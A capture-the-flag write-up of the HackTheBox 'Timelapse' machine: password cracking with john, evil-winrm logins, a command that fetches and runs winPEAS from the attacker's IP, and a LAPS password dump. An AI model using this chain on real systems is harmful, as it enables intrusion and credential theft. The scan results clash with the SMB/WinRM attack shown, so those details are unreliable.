This is a writeup for the Timelapse machine from the HackTheBox site.
First, let's start with a scan of our target with the following command:
nmap -sV -T4 -Pn 10.129.188.205
Many TCP ports are discovered:
- 22/tcp : SSH port (OpenSSH 8.2)
- 80/tcp : HTTP web server (Apache 2.4.41)
First I start by listing the SMB shares with the
enum4linux -a -u "guest" -p "" 10.129.188.205
Shares folder is available for reading, let's see what we can find in it:
We find two folders, in one of the two folders we find the file
winrm_backup.zip, I download it then I try to unzip it. Problem is that it is protected by a password. Let's try to crack this password with john. To do so, I start by extracting the hash with the following command:
zip2john winrm_backup.zip > hash
Then I launch the dictionary attack with john with the rockyou dictionary:
Quickly I find that the password is
supremelagacy. So now I can unpack the archive. In this archive I find a file with the extension
.pfx. These files are used by windows to store certificates in
PKCS#12 format. From this file we have the possibility to retrieve the certificate and the private key (cf. ibm.com). To do so, I use the following commands:
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out prv.key openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt
Problem: the certificate is also protected by a password. I test the password previously found, but without success. Once again we will have to use john to brute force the password. First I get the hash with the following command:
pfx2john legacyy_dev_auth.pfx > hashbis
Then I launch the dictionary attack with john :
I find the password
thuglegacy, I can now extract the private key and the certificate. I then test to connect to the machine with these two files for authentication. For that I use
evil-winrm with the following command:
evil-winrm -i 10.129.188.205 -S -c cert.crt -k prv.key -p -u
I now have a shell with the
legacyy user and I can get the first flag.
*Evil-WinRM* PS C:\Users\legacyy\Desktop> more user.txt 6a29afecacdabd66d286759e1f1379ff
For the elevation of privilege I start by uploding winPEAS then I execute it :
powershell "Invoke-WebRequest -UseBasicParsing 10.10.14.173/winPEASx64.exe -OutFile winPEASx64.exe" ./winPEASx64.exe
In the result of the program, I find that a file containing a command history exists on the machine:
I get it on my machine with the following command:
Looking at the contents of the file I find a user and his password!
Another thing that winPEAS teaches me is that the user svc_deploy has the right to read the LAPS passwords attribute!
The "Local Administrator Password Solution" (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.
So I try to do it with the LAPSDumper script with the following command:
┌──(d3vyce㉿kali)-[~/Documents] └─$ python3 Windows/laps.py -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -d timelapse.htb DC01$:J3V}8QBsB4Q6+jgveai$7}}M
The script finds the administrator password of the machine! I can now connect with the following command:
evil-winrm -i 10.129.188.205 -S -u Administrator -p 'J3V}8QBsB4Q6+jgveai$7}}M'
I now have a shell as Administrator and I can retrieve the last flag.
*Evil-WinRM* PS C:\Users\TRX\Desktop> cat root.txt 09cec1f63345aa18fcf4bd05b9be6714
To patch this host I think it would be necessary to perform a number of actions:
- Do not allow SMB shares containing important files to be accessed by unidentified users
- Do not use weak passwords to protect certificates
- Do not leave files with clear passwords